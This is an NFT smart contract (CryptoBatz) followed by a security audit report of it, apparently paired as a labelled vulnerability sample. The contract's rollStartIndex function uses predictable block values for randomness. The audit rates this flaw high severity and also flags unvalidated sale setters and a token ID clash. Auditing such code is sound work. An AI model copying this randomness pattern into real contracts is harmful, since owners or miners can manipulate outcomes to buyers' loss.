//....+%*+:*+::::::::::::::;+;;::::::::;*;::::***S*:+S@,.,#S;::,+*%:,.......................,%?*:;+@%.,;%*;,?%?*?S#S*S#?#@ //..,:?#:;+;:::::::::::::::;*;::::::::+*+;:::;*?S@?:+S@,.,#%:;;:::;??:,...................:*S?+::+*@%:%?:;*S@S**?##S*S#*#@ //..,@?:;;::::::::::::::::;;+;::::::::+*::::::*?%#?;+S@,.,@%,;;;::::;?*;....;*********+.:*S%*:::***@#?::*S##S%*?%##S*S@#@@ //.+%?;:;;::::::::::::::::*+::::::::::++::::::*?%#%**S@,..+?%:,;+;:::,+*%%%????*******??#@*+;:;+***@%,?S@###?**S###S*?%#@@ //:%#:+?+++?*+?+::::::::::*+::::::::;*;;:::::;*?S#%**%#;,..+#+:,:;*;:::+#%*+:,,,,,,,,,,;;+#?::;**?#@S;S@####*?#####S**?##S //@%**?%%%%%%%%?*::::::::;+;::::::::;*;:::::::*?%###***@?...,#%.,:+;;::;+;::,,,,,,,,,,,,,,***;+**%@@@####@S*?%#####S*S@@+, //@#S*:........:*%*:::::;*;:::::::::;*;::::::;*?%###S?*%%?,..+*?:,:++:;;:::::,,,,,,,,,,,,:;;;****%@####S?%%%########%##*:. //#*:............:*S+;::;+;::::::::++;::::::::+**?S#@S*+%@;,..;@+;:+*+**;***+;::::::::::+****+;;*S@####%*S#@######%?#@#... //,................,?%%%?*;;:::::::++::::::::::+*%S####***S%+,.,##*****?@@@SS%***+++++**S@@#S%*:S@@###??###S%%###@?*#@#... //...................:****S%+;:::::++::::::::::+*%S####S?**?S?+.##****++??*:::;;+%%%%SS+*??+:::;S@@###*?##S*S####%%S@%+... //........................:*@+:::::++::::::::::+*?%####@S****?%%@#**+;:::::::::::+S@@%+::::::::;S@@###?%#@S*S###S+S@@;.... //.........................:S*+::;*;:::::::::::+**?%S#####%***?S@#*;:::::::::::::::::::::::::::;#@##S?###S%?###S%+##,..... //...........................S#::;*;:::::::::::;+*?%%S#####S%*?%#S*;::::::;%%%%%%%%??%%%%%%+::::@@#######*?@###?*S?+...... //.........................,,SS::;*;::::::::::::;*?S%S#######SS?##S*++;:::;****************+:;*S#########??####?%@;....... //.........................;@+::+*+;:::::::::::;+**?%%%#############S?*+;;;;;;;;;;;;;;;;::+*?#@@#####S#S*S##%??##S;....... //.........................;@*;:++:::::::::::::;+;+*%%%#########SS####S%%***************?SS#@######%%%#S*S##@@@%+......... //.........................;@*;+*+::::::::::::++;++*?%S#########+;++?##@@SSSSSSSSSSSSSS*S@@@#######*?@%%S#@@*;;,.......... //........................:*#*+**+::::::::::::;++****?%S######%*+;::;*%SS#@#############%?@@#@####S?%#@%:,,,.............. //........................#@SSSS?+::::::::::;;+;+****?%%S###%+;::::::::;+?S############@%*@@@@@##%*#@@%+.................. //........................;+++++%%;:::::::::;;++*****?S###%*;::::::::::::+*?S##########@%*@@@@@@@S*#%+,................... //..............................,;%*+:::::::;+;+*****?%#S*;::::::::::::::+?S############%?@@S:::SSS;,..................... //................................,*??;:::::;;;+****%%%#%*::::::::::::::;+*%###########*S@%;.............................. //..................................,+?%%%%%*++**++*%%S#%*;:::::::::::;+*%%%S########S%S?+................................ //....................................,:::::*%SSS%S@#@@@S**+;::::::;;+*?S%%###SSSS%%%S%:,................................. //...........................................,,.,+%S#@@@S****;;;;+%**%%%%S#SS%%%%%%%%;,................................... //.............................................+%%%S@@@@S*%SSSS#S#@##@#S@@#SS%*++*:....................................... //..........................................,;SS%#@@;;+#S*?S@@@@%%%#@@+:::::::............................................ //..........................................+%@@#%%%+?S%S@@@@#S?#@@@#%:................................................... //...........................................,+*+...*?S@@@@S*%#@@@@?;..................................................... //...................................................,;::::,.:;::::........,.............................................. //.....................................................................,+?%#S*,........................................... //..................................................................,;%#@@@@@@#*,,.....................,++................ //...........................................................*%%%%%S@@@@#@@@@@@@@S%+................:?S@#*................ //...........................................................::+?@@@@@@S,*@@@@@@@S;,............:+?%@@@S,................. //.,;++++;..,;+++++;,.,;+;...,++:,;++++++:..;+++++++;..:+++++:...*@@@@@S..;#@@@@@+..............;S@@@@#:.................. //*S@@@@@@?:;@@@@@@@%+;@@@;.,?@@S:@@@@@@@@*;@@@@@@@@@:*#@@@@@@*:.+@@@@@S...%@@@@@+..,,......,,...,S@@@#.;;.,,......,,..... //@@@?::S#@+;@@@+:S@@@:%@@@*S@@S*:@@@+:;@@@*:;*@@@*;:;@@@+:;@@@*.+@@@@@S...%@@@@@+.,S#+....;S#;:;;S@@@#;##:S#:...;%@#;.... //@@@+..,,,.;@@@##@@S+..*#@@@#S:.:@@@%?%@@#+..:@@@:..;@@@:.,@@@+.+@@@@@S.:+#@@@@#+*S@@@%*+?#@@@@@@@@@@@@@@@@@@%*%@@@@#+:.. //@@@*::S#@+:@@@?+?@@S:..,#@@*...:@@@#SSS?,...:@@@:..;@@@;:;@@@*.+@@@@@@%@@@@@#*::%@@@@@%%@@@@@@%;S@@@#+#@@@@#%@@@@@@#%?,. //*S@@@@@@?:;@@@:.,@@@;..,#@@*...:@@@;........:@@@;..,?@@@@@@@?:.+@@@@@S:+%@@@@#%*+?S@?;,:#@@@@?..%@@@#.?%?@#,*@@@@@*,.... //.:+++++;..,+++,.,+++,...;++:...,+++,........,+++,....;+++++;...+@@@@@S..:#@@@@@@@++*%#SS@@@@@*..%@@@#,..;*:;@@@@@;*+.... //...............................................................+@@@@@S...%@@@@@++@@@@@:,#@@@@*..%@@@#.....;@@@@@*.#@:... //...............................................................+@@@@@S...%@@@@@+,S@@@@,.S@@@@*.,S@@@@;..:%@@@@@*.*@@?... //...............................................................+@@@@@#*;,%@@@@@?%@@@@@%%@@@@@#%#@@@@@@*%@@@@@@#%S@@@@%;. //..............................................................:*@@@@@@@@S#@@@@@%+S@@@S**%@@@@S+?S@@@#?++@@@@@?;?%@@@@%+. //...........................................................,*S@@@@@@@@S+,,,;+%@@+:%#*,...;##;...,+@?,...:S#?:....;#S:... //..........................................................+#@@##@@@@@+,.......,+:..,......,,......,,.....,,.......,,.... //..........................................................*@@+,,:*#S;................................................... //...........................................................?@?,...::.................................................... import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import "@openzeppelin/contracts/utils/math/SafeCast.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "./SutterTreasury.sol"; import "./ERC2981.sol"; struct PresaleConfig { uint32 startTime; uint32 endTime; uint32 supplyLimit; uint256 mintPrice; } struct DutchAuctionConfig { uint32 txLimit; uint32 supplyLimit; uint32 startTime; uint32 bottomTime; uint32 stepInterval; uint256 startPrice; uint256 bottomPrice; uint256 priceStep; } contract CryptoBatz is Ownable, ERC721, ERC2981, SutterTreasury { using Address for address; using SafeCast for uint256; using ECDSA for bytes32; // MEMBERS **************************************************** uint32 public constant MAX_OWNER_RESERVE = 101; uint32 public constant ANCIENT_BATZ_SUPPLY = 99; uint256 public totalSupply = 0; // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; PresaleConfig public presaleConfig; DutchAuctionConfig public dutchAuctionConfig; string public baseURI; address public whitelistSigner; address public ancientBatzMinter; uint256 public PROVENANCE_HASH; uint256 public randomizedStartIndex; mapping(address => uint256) private presaleMinted; bytes32 private DOMAIN_SEPARATOR; bytes32 private TYPEHASH = keccak256("presale(address buyer,uint256 limit)"); address[] private mintPayees = [ 0xFa65B0e06BB42839aB0c37A26De4eE0c03B30211, //Ozzy TODO: Insert actual address 0x09e339CEF02482f4C4127CC49C153303ad801EE0, //Sutter TODO: Insert actual address 0xE9E9206B598F6Fc95E006684Fe432f100E876110 //Dev TODO: Insert actual address ]; uint256[] private mintShares = [ 50, 45, 5 ]; SutterTreasury public royaltyRecipient; // CONSTRUCTOR ************************************************** constructor(string memory initialBaseUri) ERC721("Crypto Batz by Ozzy Osbourne", "BATZ") SutterTreasury(mintPayees, mintShares) { baseURI = initialBaseUri; ancientBatzMinter = msg.sender; presaleConfig = PresaleConfig({ startTime: 1642633200, // Wed Jan 19 2022 23:00:00 GMT+0000 endTime: 1642719600, // Thu Jan 20 2022 23:00:00 GMT+0000 supplyLimit: 7166, mintPrice: 0.088 ether }); dutchAuctionConfig = DutchAuctionConfig({ txLimit: 3, supplyLimit: 9666, startTime: 1642719600, // Thu Jan 20 2022 23:00:00 GMT+0000 bottomTime: 1642730400, // Fri Jan 21 2022 02:00:00 GMT+0000 stepInterval: 300, // 5 minutes startPrice: 0.666 ether, bottomPrice: 0.1 ether, priceStep: 0.0157 ether }); address[] memory royaltyPayees = new address[](2); royaltyPayees[0] = 0xFa65B0e06BB42839aB0c37A26De4eE0c03B30211; //Ozzy TODO: Insert actual address royaltyPayees[1] = 0x09e339CEF02482f4C4127CC49C153303ad801EE0; //Sutter TODO: Insert actual address uint256[] memory royaltyShares = new uint256[](2); royaltyShares[0] = 70; royaltyShares[1] = 30; royaltyRecipient = new SutterTreasury(royaltyPayees, royaltyShares); _setRoyalties(address(royaltyRecipient), 750); // 7.5% royalties uint256 chainId; assembly { chainId := chainid() } DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ), keccak256(bytes("CryptoBatz")), keccak256(bytes("1")), chainId, address(this) ) ); } // PUBLIC METHODS **************************************************** /// @notice Allows users to buy during presale, only whitelisted addresses may call this function. /// Whitelisting is enforced by requiring a signature from the whitelistSigner address /// @dev Whitelist signing is performed off chain, via the cryptobatz website backend /// @param signature signed data authenticating the validity of this transaction /// @param numberOfTokens number of NFTs to buy /// @param approvedLimit the total number of NFTs this address is permitted to buy during presale, this number is also encoded in the signature function buyPresale( bytes calldata signature, uint256 numberOfTokens, uint256 approvedLimit ) external payable { PresaleConfig memory _config = presaleConfig; require( block.timestamp >= _config.startTime && block.timestamp < _config.endTime, "Presale is not active" ); require(whitelistSigner != address(0), "Whitelist signer has not been set"); require( msg.value == (_config.mintPrice * numberOfTokens), "Incorrect payment" ); require( (presaleMinted[msg.sender] + numberOfTokens) <= approvedLimit, "Mint limit exceeded" ); require( (totalSupply + numberOfTokens) <= _config.supplyLimit, "Not enought BATZ remaining" ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, keccak256(abi.encode(TYPEHASH, msg.sender, approvedLimit)) ) ); address signer = digest.recover(signature); require( signer != address(0) && signer == whitelistSigner, "Invalid signature" ); presaleMinted[msg.sender] = presaleMinted[msg.sender] + numberOfTokens; mint(msg.sender, numberOfTokens); } /// @notice Allows users to buy during public sale, pricing follows a dutch auction format /// @dev Preventing contract buys has some downsides, but it seems to be what the NFT market generally wants as a bot mitigation measure /// @param numberOfTokens the number of NFTs to buy function buyPublic(uint256 numberOfTokens) external payable { // disallow contracts from buying require( (!msg.sender.isContract() && msg.sender == tx.origin), "Contract buys not allowed" ); DutchAuctionConfig memory _config = dutchAuctionConfig; require( (totalSupply + numberOfTokens) <= _config.supplyLimit, "Not enought BATZ remaining" ); require(block.timestamp >= _config.startTime, "Sale is not active"); require(numberOfTokens <= _config.txLimit, "Transaction limit exceeded"); uint256 mintPrice = getCurrentAuctionPrice() * numberOfTokens; require(msg.value >= mintPrice, "Insufficient payment"); // refund if customer paid more than the cost to mint if (msg.value > mintPrice) { Address.sendValue(payable(msg.sender), msg.value - mintPrice); } mint(msg.sender, numberOfTokens); } /// @notice Gets the current price for the duction auction, based on current block timestamp /// @dev Dutch auction parameters configured via dutchAuctionConfig /// @return currentPrice Current mint price per NFT function getCurrentAuctionPrice() public view returns (uint256 currentPrice) { DutchAuctionConfig memory _config = dutchAuctionConfig; uint256 timestamp = block.timestamp; if (timestamp < _config.startTime) { currentPrice = _config.startPrice; } else if (timestamp >= _config.bottomTime) { currentPrice = _config.bottomPrice; } else { uint256 elapsedIntervals = (timestamp - _config.startTime) / _config.stepInterval; currentPrice = _config.startPrice - (elapsedIntervals * _config.priceStep); } return currentPrice; } /// @notice Gets an array of tokenIds owned by a wallet /// @param wallet wallet address to query contents for /// @return an array of tokenIds owned by wallet function tokensOwnedBy(address wallet) external view returns (uint256[] memory) { uint256 tokenCount = balanceOf(wallet); uint256[] memory ownedTokenIds = new uint256[](tokenCount); for (uint256 i = 0; i < tokenCount; i++) { ownedTokenIds[i] = _ownedTokens[wallet][i]; } return ownedTokenIds; } /// @inheritdoc ERC165 function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC2981) returns (bool) { return super.supportsInterface(interfaceId); } // OWNER METHODS ******************************************************** /// @notice Allows the contract owner to reserve NFTs for team members or promotional purposes /// @dev This should be called before presale or public sales start, as only the first MAX_OWNER_RESERVE tokens can be reserved /// @param to address for the reserved NFTs to be minted to /// @param numberOfTokens number of NFTs to reserve function reserve(address to, uint256 numberOfTokens) external onlyOwner { require( (totalSupply + numberOfTokens) <= MAX_OWNER_RESERVE, "Exceeds owner reserve limit" ); mint(to, numberOfTokens); } /// @notice Allows the owner to roll a pseudo-random number once, which will be used as the starting index for the token metadata. /// This is used to prove randomness and fairness in the metadata distribution, in conjunction with the PROVENANCE_HASH /// @dev The starting index can only be set once, only after the start of the public sale, and only if the PROVENANCE_HASH has been set // SWC-Block values as a proxy for time: L355 - L374 function rollStartIndex() external onlyOwner { require(PROVENANCE_HASH != 0, "Provenance hash not set"); require(randomizedStartIndex == 0, "Index already set"); require( block.timestamp >= dutchAuctionConfig.startTime, "Too early to roll start index" ); uint256 number = uint256( keccak256( abi.encodePacked( blockhash(block.number - 1), block.coinbase, block.difficulty ) ) ); randomizedStartIndex = (number % dutchAuctionConfig.supplyLimit) + 1; } /// @notice Allows the ancientBatzMinter to mint an AncientBatz to the specified address /// @param to the address for the AncientBatz to be minted to /// @param ancientBatzId the AncientBatz id, from 1 to ANCIENT_BATZ_SUPPLY inclusive function mintAncientBatz(address to, uint256 ancientBatzId) external { require(ancientBatzMinter != address(0), "AncientBatz minter not set"); require( msg.sender == ancientBatzMinter, "Must be authorized AncientBatz minter" ); require( ancientBatzId > 0 && ancientBatzId <= ANCIENT_BATZ_SUPPLY, "Invalid AncientBatz Id" ); uint256 tokenId = dutchAuctionConfig.supplyLimit + ancientBatzId; _safeMint(to, tokenId); totalSupply++; } function setBaseURI(string calldata newBaseUri) external onlyOwner { baseURI = newBaseUri; } function setRoyalties(address recipient, uint256 value) external onlyOwner { require(recipient != address(0), "zero address"); _setRoyalties(recipient, value); } function setWhitelistSigner(address newWhitelistSigner) external onlyOwner { whitelistSigner = newWhitelistSigner; } function setAncientBatzMinter(address newMinter) external onlyOwner { ancientBatzMinter = newMinter; } function setProvenance(uint256 provenanceHash) external onlyOwner { require(randomizedStartIndex == 0, "Starting index already set"); PROVENANCE_HASH = provenanceHash; } /// @notice Allows the contract owner to update config for the presale function configurePresale( uint256 startTime, uint256 endTime, uint256 supplyLimit, uint256 mintPrice ) external onlyOwner { uint32 _startTime = startTime.toUint32(); uint32 _endTime = endTime.toUint32(); uint32 _supplyLimit = supplyLimit.toUint32(); require(0 < _startTime, "Invalid time"); require(_startTime < _endTime, "Invalid time"); presaleConfig = PresaleConfig({ startTime: _startTime, endTime: _endTime, supplyLimit: _supplyLimit, mintPrice: mintPrice }); } /// @notice Allows the contract owner to update config for the public dutch auction function configureDutchAuction( uint256 txLimit, uint256 supplyLimit, uint256 startTime, uint256 bottomTime, uint256 stepInterval, uint256 startPrice, uint256 bottomPrice, uint256 priceStep ) external onlyOwner { uint32 _txLimit = txLimit.toUint32(); uint32 _supplyLimit = supplyLimit.toUint32(); uint32 _startTime = startTime.toUint32(); uint32 _bottomTime = bottomTime.toUint32(); uint32 _stepInterval = stepInterval.toUint32(); require(0 < _startTime, "Invalid time"); require(_startTime < _bottomTime, "Invalid time"); dutchAuctionConfig = DutchAuctionConfig({ txLimit: _txLimit, supplyLimit: _supplyLimit, startTime: _startTime, bottomTime: _bottomTime, stepInterval: _stepInterval, startPrice: startPrice, bottomPrice: bottomPrice, priceStep: priceStep }); } // PRIVATE/INTERNAL METHODS **************************************************** function _baseURI() internal view override returns (string memory) { return baseURI; } function mint(address to, uint256 numberOfTokens) private { uint256 newId = totalSupply; for (uint256 i = 0; i < numberOfTokens; i++) { newId += 1; _safeMint(to, newId); } totalSupply = newId; } // ************************************************************************************************************************ // The following methods are borrowed from OpenZeppelin's ERC721Enumerable contract, to make it easier to query a wallet's // contents without incurring the extra storage gas costs of the full ERC721Enumerable extension // ************************************************************************************************************************ /** * @dev Private function to add a token to ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from != address(0)) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to != address(0)) { _addTokenToOwnerEnumeration(to, tokenId); } } }
Audit Report January, 2022 For QuillAuditsContents Scope of Audit Check Vulnerabilities Techniques and Methods Issue Categories Number of security issues per severity. Introduction Issues Found – Code Review / Manual Testing High Severity Issues 1. Random number generation in rollStartIndex Medium Severity Issues 2. mintAncientBatz function mints NFT 3. Setter functions of sales Low Severity Issues 4. Insufficient events 5. function ERC2981.setRoyalties lacks documentation 6. Inconsistent comment and implementation Informational Issues Functional Test 01 01 02 03 03 04 05 05 05 06 06 07 09 09 10 11 12 13Contents Automated Tests Slither: Closing Summary14 14 1501 audits.quillhash.comThe scope of this audit was to analyze and document the CryptoBatz Token smart contract codebase for quality, security, and correctness.Scope of the Audit We have scanned the smart contract for commonly known and more specific vulnerabilities. Here are some of the commonly known vulnerabilities that we considered:Checked Vulnerabilities Re-entrancy Timestamp Dependence Gas Limit and Loops DoS with Block Gas Limit Transaction-Ordering Dependence Use of tx.origin Exception disorder Gasless send Balance equality Byte array Transfer forwards all gas ERC20 API violation Malicious libraries Compiler version not fixed Redundant fallback function Send instead of transfer Style guide violation Unchecked external call Unchecked math Unsafe type inference Implicit visibility levelCryptoBatz - Audit Report QuillAudits02 audits.quillhash.comTechniques and Methods Throughout the audit of smart contract, care was taken to ensure: The overall quality of code. Use of best practices. Code documentation and comments match logic and expected behaviour. Token distribution and calculations are as per the intended behaviour mentioned in the whitepaper. Implementation of ERC-20 token standards. Efficient use of gas. Code is safe from re-entrancy and other vulnerabilities. The following techniques, methods and tools were used to review all the smart contracts. Structural Analysis In this step, we have analysed the design patterns and structure of smart contracts. A thorough check was done to ensure the smart contract is structured in a way that will not result in future problems. Static Analysis Static analysis of smart contracts was done to identify contract vulnerabilities. In this step, a series of automated tools are used to test the security of smart contracts. Code Review / Manual Analysis Manual analysis or review of code was done to identify new vulnerabilities or verify the vulnerabilities found during the static analysis. Contracts were completely manually analysed, their logic was checked and compared with the one described in the whitepaper. Besides, the results of the automated analysis were manually verified. Gas Consumption In this step, we have checked the behaviour of smart contracts in production. Checks were done to know how much gas gets consumed and the possibilities of optimization of code to reduce gas consumption. Tools and Platforms used for Audit Remix IDE, Truffle, Truffle Team, Solhint, Mythril, Slither, Solidity statistic analysis, Theo.CryptoBatz - Audit Report QuillAudits03 audits.quillhash.comIssue Categories Every issue in this report has been assigned to a severity level. There are four levels of severity, and each of them has been explained below. HighRisk-level Description Medium Low InformationalA high severity issue or vulnerability means that your smart contract can be exploited. Issues on this level are critical to the smart contract’s performance or functionality, and we recommend these issues be fixed before moving to a live environment. The issues marked as medium severity usually arise because of errors and deficiencies in the smart contract code. Issues on this level could potentially bring problems, and they should still be fixed. Low-level severity issues can cause minor impact and or are just warnings that can remain unfixed for now. It would be better to fix these issues at some point in the future. These are severity issues that indicate an improvement request, a general question, a cosmetic or documentation error, or a request for information. There is low-to-no impact. Number of issues per severity OpenType High ClosedAcknowledgedLow 0 0 01 110 0 04 21Medium InformationalCryptoBatz - Audit Report QuillAudits04 audits.quillhash.comIntroduction On Jan 11, 2021 - QuillAudits Team performed a security audit for CryptoBatz smart contracts. The code for the audit was taken from following the official link: https://github.com/lucid-eleven/crypto-batz-contracts/ commit/07ee07dd442c34622798f1ee5b73ef8ff59cef48 V Date Files Commit ID 1 2Jan 11 contracts/* Jan 16 contracts/*07ee07dd442c34622798f1ee5b73ef8ff59cef48 c55d3ee3fc4a471a3c5ab683a7e2111dca617e16CryptoBatz - Audit Report QuillAudits05 audits.quillhash.comIssues Found – Code Review / Manual Testing A.Contract - CryptoBatz High severity issues 1. Random number generation in rollStartIndex function is not random Description The number generated through the function is not random and can be controlled by either the owner or the miner. And can benefit either of the parties in the rarity of NFT. Remediation Implement a better random generation scheme, either use a trusted oracle or implement a fair commit-reveal scheme to generate a complete random number. Status: AcknowledgedLine Code 354-373 function rollStartIndex() external onlyOwner { require(PROVENANCE_HASH != 0, "Provenance hash not set"); require(randomizedStartIndex == 0, "Index already set"); require( block.timestamp >= dutchAuctionConfig.startTime, "Too early to roll start index" ); uint256 number = uint256( keccak256( abi.encodePacked( blockhash(block.number - 1), block.coinbase, block.difficulty ) ) ); randomizedStartIndex = (number % dutchAuctionConfig.supplyLimit) + 1; }CryptoBatz - Audit Report QuillAudits06 audits.quillhash.comMedium severity issues 2.mintAncientBatz function mints NFT with inconsistent tokenId Description If ancient bats are minted and supplyLimit of dutchAuctionConfig is increased, the contract can be bricked, the buyPublic will always revert in such cases. Remediation Ensure that the tokenId minted in the mintAncientBatz function isn’t inconsistent. Status: ClosedLine Code 378-394 function mintAncientBatz(address to, uint256 ancientBatzId) external { require(ancientBatzMinter != address(0), "AncientBatz minter not set"); require( msg.sender == ancientBatzMinter, "Must be authorized AncientBatz minter" ); require( ancientBatzId > 0 && ancientBatzId <= ANCIENT_BATZ_SUPPLY, "Invalid AncientBatz Id" ); uint256 tokenId = dutchAuctionConfig.supplyLimit + ancientBatzId; _safeMint(to, tokenId); totalSupply++; }CryptoBatz - Audit Report QuillAudits07 audits.quillhash.com3. Setter functions of sales in CryptoBatz are not validated properly Line Code 420-471 /// @notice Allows the contract owner to update config for the presale function configurePresale( uint256 startTime, uint256 endTime, uint256 supplyLimit, uint256 mintPrice ) external onlyOwner { uint32 _startTime = startTime.toUint32(); uint32 _endTime = endTime.toUint32(); uint32 _supplyLimit = supplyLimit.toUint32(); require(0 < _startTime, "Invalid time"); require(_startTime < _endTime, "Invalid time"); presaleConfig = PresaleConfig({ startTime: _startTime, endTime: _endTime, supplyLimit: _supplyLimit, mintPrice: mintPrice }); } /// @notice Allows the contract owner to update config for the public dutch auction function configureDutchAuction( uint256 txLimit, uint256 supplyLimit, uint256 startTime, uint256 bottomTime, uint256 stepInterval, uint256 startPrice, uint256 bottomPrice, uint256 priceStep ) external onlyOwner { uint32 _txLimit = txLimit.toUint32(); uint32 _supplyLimit = supplyLimit.toUint32(); uint32 _startTime = startTime.toUint32(); uint32 _bottomTime = bottomTime.toUint32(); uint32 _stepInterval = stepInterval.toUint32(); require(0 < _startTime, "Invalid time"); require(_startTime < _bottomTime, "Invalid time");CryptoBatz - Audit Report QuillAudits08 audits.quillhash.comdutchAuctionConfig = DutchAuctionConfig({ txLimit: _txLimit, supplyLimit: _supplyLimit, startTime: _startTime, bottomTime: _bottomTime, stepInterval: _stepInterval, startPrice: startPrice, bottomPrice: bottomPrice, priceStep: priceStep }); } Description Owner can configure the sale as he likes, it can be an infinite sale or both sales can be activated at once, thus interfering with each other's supply limit. Moreover, there are no checks on priceStep, startTime, bottomTime, stepInterval. Incorrect configuration can brick the ductch auction’s getCurrentAuctionPrice function. Remediation Ensure there are proper validations in these setter functions so the contract might not be bricked or have unintended functionality. Status: Partially FixedCryptoBatz - Audit Report QuillAudits09 audits.quillhash.comDescription Across the codebase, there are important functions such as reserve(), rollStartIndex(), mintAncientBatz(), setBaseURI(), setRoyalties(), setWhitelistSigner() setAncientBatzMinter(), setProvenance(), configurePresale(), configureDutchAuction() and mint() that don't emit specific events. Whether it’s a crucial setter function or a sale function. Remediation Implement and emit specialized events that might help in off-chain monitoring.Low severity issues 4.Insufficient events Line Code * - * Across the codebase Status: ClosedCryptoBatz - Audit Report QuillAudits10 audits.quillhash.comDescription Royalties resetting functionality seems to be undocumented and unclear. Two SutterTreasury is being configured, CryptoBatz itself acts as a SutterTreasury having 3 payees of a split of [50, 45 , 5], another one is deployed when CryptoBatz is deployed and have 2 payees of split [70, 30] which being set as primary royalty recipient. However, the owner of the contract has the power to replace the royalty recipient with any address. This functionality part of the contract have insufficient documentation regarding how this is intended to work and how it matches with business requirements. Remediation Document and test royalty functionality thoroughly.5. function ERC2981.setRoyalties lacks documentation Line Code 19-21 function setRoyalties(address recipient, uint256 value) external onlyOwner { require(recipient != address(0), "zero address"); _setRoyalties(recipient, value); } Status: ClosedCryptoBatz - Audit Report QuillAudits11 audits.quillhash.com6. Inconsistent comment and implementation of reserve() function Description The comment @dev above the reserve() function says that "This should be called before presale or public sales start, as only the first MAX_OWNER_RESERVE tokens can be reserved." But in the smart contract there is no require check and the reserve() function can be called after presale or public sales start. Remediation It is advised to add the require checks for the same to ensure that this does not happen. Status: AcknowledgedCryptoBatz - Audit Report QuillAudits12 audits.quillhash.comInformational issues 1. 2. 3. 4.There is missing zero address check for recipient address parameter in the function _setRoyalties(). It is advised to add a require check for the same. Solidity versions: Using very old versions of Solidity prevents benefits of bug fixes and newer security checks. Using the latest versions might make contracts susceptible to undiscovered compiler bugs. Consider using one of these versions: 0.7.5, 0.7.6 or 0.8.4. Refer- https://secureum.substack.com/p/security-pitfalls-and-best- practices-101 and https://github.com/crytic/slither/wiki/Detector- Documentation#incorrect-versions-of-solidity The interface defined in IERC2981 is inconsistent with the function defined in ERC2981. The 2nd function parameter for the royaltyInfo function is named as value in ERC2981 whereas in the interface, the same parameter is named as _salePrice. It is advised to resolve these naming conflicts. CryptoBatz contract can be renounced accidentally.Usually, the contract's owner is the account that deploys the contract. As a result, the owner is able to perform certain privileged activities on his behalf. The renounceOwnership function is used in smart contracts to renounce ownership. Otherwise, if the contract's ownership has not been transferred previously, it will never have an Owner, which is risky. Remediation- It is advised that the Owner cannot call renounceOwnership without first transferring ownership to a different address. Additionally, if a multi-signature wallet is utilized, executing the renounceOwnership method for two or more users should be confirmed. Alternatively, the Renounce Ownership functionality can be disabled by overriding it. Refer this post for additional info- https://www.linkedin.com/posts/ razzor_github-razzorsecrazzorsec-contracts- activity-6873251560864968705-HOS8 CryptoBatz - Audit Report QuillAudits13 audits.quillhash.comFunctional Tests Test Cases for CryptoBatz.sol Test Ca ses for ERC2981.sol T est Ca ses for SutterTreasury.solCryptoBatz - Audit Report QuillAudits Function Name Test Result Logical Result buyPresale PASSED PASSED buyPublic PASSED PASSED getCurrentAuctionPrice PASSED PASSED tokensOwnedBy PASSED PASSED reserve ACKNOWLEDGED PASSED rollStartIndex ACKNOWLEDGED ACKNOWLEDGED mintAncientBatz PASSED PASSED setBaseURI PASSED PASSED setWhitelistSigner PASSED PASSED setAncientBatzMinter PASSED PASSED setProvenance PASSED PASSED configurePresale ACKNOWLEDGED ACKNOWLEDGED configureDutchAuction ACKNOWLEDGED ACKNOWLEDGED mint PASSED PASSED Function Name Test Result Logical Result _setRoyalties PASSED FIXED royaltyInfo PASSED PASSED supportsInterface PASSED PASSED Function Name Test Result Logical Result withdrawAll PASSED PASSED14 audits.quillhash.comAutomated Tests Slither No major issues were found. Some false positive errors were reported by the tool. All the other issues have been categorized above according to their level of severityCryptoBatz - Audit Report QuillAudits15 audits.quillhash.comClosing Summary Overall, in the initial audit, there are one critical severity issues associated with random number generation. No instances of Integer Overflow and Underflow vulnerabilities are found in the contract. Numerous issues were discovered during the initial audit,some issues are fixed. It is recommended to kindly go through the above-mentioned details and fix the code accordingly.CryptoBatz - Audit Report QuillAudits16 audits.quillhash.comDisclaimer Quillhash audit is not a security warranty, investment advice, or an endorsement of the CryptoBatz Token. This audit does not provide a security or correctness guarantee of the audited smart contracts. The statements made in this document should not be interpreted as investment or legal advice, nor should its authors be held accountable for decisions made based on them. Securing smart contracts is a multistep process. One audit cannot be considered enough. We recommend 